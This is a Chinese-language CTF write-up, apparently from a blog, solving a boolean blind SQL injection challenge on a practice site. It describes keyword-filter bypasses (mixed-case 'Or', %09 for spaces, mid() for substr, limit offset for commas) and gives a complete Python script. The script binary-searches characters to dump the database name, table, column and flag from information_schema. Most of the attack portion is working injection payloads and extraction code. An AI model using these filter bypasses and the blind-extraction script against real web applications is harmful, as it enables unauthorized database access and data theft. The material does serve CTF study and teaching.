真的很久很久沒碰過這個玩意了，真是不會了，而且這個題目本身就不是很容易，搞得我也是滿肚子邪火，很氣。這個題目主要難在它吧過濾和ban結合到了一起了。我們還是先看題目,首先拿到題目看到輸入id=0和輸入id=1結果不一樣，這就奠定了盲注的基礎了

然後我們肯定要fuzz一下，結果如下

禁了union、and、substr，sleep，堵住了時間盲注、聯合查詢注入的路子，而且還把逗號禁止了…這就麻煩了，肯定偏移要用from和offset什麼的了，猜測語句一定是類似這樣的

select flag from flag where id=輸入

然後進行測試發現規律

感謝出題人沒過濾單引號…然後我們構造

把我興奮了老半天心想這就完了？結果並並並不是！！！他喵的過濾了or…或一個方向就完蛋

然後我就迷茫了…最後發現可以用oorr或者Or代替就可

然後就任我行了，注意空格被幹掉了，用什麼%09替換掉即可，再往後information什麼倒是都沒禁掉，但是注意information中包含or，需要替換掉。寫一個二分盲註腳本即可，具體用到limit的offset偏移。然後它禁掉了substr，但是我們還有mid，用mid(table from offset)即可，剩下的直接看程式碼吧，我的程式碼很難看，我是一邊調一邊寫的，所以我也事後看不懂…看語句即可…

# -*- coding: utf-8 -*-  
 

import requests
import urllib
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
temp = 0
headers = {
    "Host": "ctf5.shiyanbar.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language"
 
: "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "81",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1"
}
def make_payload(target):
    return target.replace(' ','%09').replace('or','Or')

def get_length(target):     #獲取欄位長度
    global headers
    global url  
    for i in range(0,50):
        print i 
        payload = target[:-5]+str(i)+target[-5:]
        payload = urllib.unquote(make_payload(payload))
        #print payload
        data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
        content = requests.post(url=url,headers=headers,data=data).text
        #print content
        if "You are in" in content:
            return i
    return 0

def search2(l,r,target):    #二分盲注嘍，求單位元組
    if l>r:
        return 
    global headers
    global url 
    global temp
    mid = (l+r)/2
    payload = target[:-5]+str(mid)+target[-5:]
    payload = urllib.unquote(make_payload(payload))
    print payload
    data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
    content = requests.post(url=url,headers=headers,data=data).text
    if "You are in" in content:
        temp = max(temp,mid)
        search2(mid+1,r,target)
    else:
        search2(l,mid-1,target)

def get_content(column,table,offset,len,where,sign):    #這麼多引數是為了構造payload
    global temp
    content = ''
    for i in range(1,len+1):
        temp = 0
        if sign==0:
            payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))>=)Or'0"
        else:
            payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))>=)Or'0"
        search2(0,255,payload)
        content+=chr(temp)
        print content
    return content


#--------獲取資料庫名--------
#payload = "0'Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or'0"
#len = get_length(payload) #18
#database = get_content('schema_name','information_schema.schemata',"1",18,0,0) #ctf_sql_bool_blind#test

#--------獲取表名--------
#payload = "0'Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #4,5
#table = get_content('table_name','information_schema.tables',"0",4,'where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64',1) #fiag

#--------獲取列名--------
#payload = "0'Or(length((select column_name from information_schema.columns where table_name=0x66696167 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #5
#column = get_content('column_name','information_schema.columns',"0",5,'where table_name=0x66696167',1) #fL$4G

#--------獲取欄位內容--------
#payload = "0'Or(length((select fL$4G from fiag  limit 1 offset 0))=)Or'0"
#len = get_length(payload) #19
flag = get_content('fL$4G','fiag',"0",19,'0',0) #flag{haha~you win!}

有意思的題目，做出來很費勁…